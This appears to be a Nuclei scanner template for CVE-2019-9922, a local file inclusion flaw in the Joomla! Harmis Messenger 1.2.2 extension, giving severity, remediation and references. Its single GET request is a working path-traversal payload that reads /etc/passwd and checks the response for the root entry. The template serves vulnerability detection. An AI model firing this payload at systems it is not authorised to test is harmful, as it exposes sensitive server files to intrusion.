id: CVE-2019-9922

info:
  name: Joomla! Harmis Messenger 1.2.2 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Joomla! Harmis Messenger 1.2.2 is vulnerable to local file inclusion which could give an attacker read access to arbitrary files.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! application.
  remediation: |
    Update to the latest version of Harmis Messenger (1.2.3) or apply the patch provided by the vendor to fix the LFI vulnerability.
  reference:
    - https://github.com/azd-cert/CVE/blob/master/CVEs/CVE-2019-9922.md
    - https://extensions.joomla.org/extension/je-messenger/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/azd-cert/CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9922
    cwe-id: CWE-22
    epss-score: 0.84835
    epss-percentile: 0.99355
    cpe: cpe:2.3:a:harmistechnology:je_messenger:1.2.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: harmistechnology
    product: je_messenger
    framework: joomla\!
  tags: cve2019,cve,joomla,messenger,lfi,harmistechnology,joomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044022028a3256896a92bddf4227d9584a5e057b95833e56619a4f34a91af23d8595b7802201eccff547432e78e18ff08e52d1e39f5d9556307ea1ee0f64d210883d5110643:922c64590222798bb761d5b6d8e72950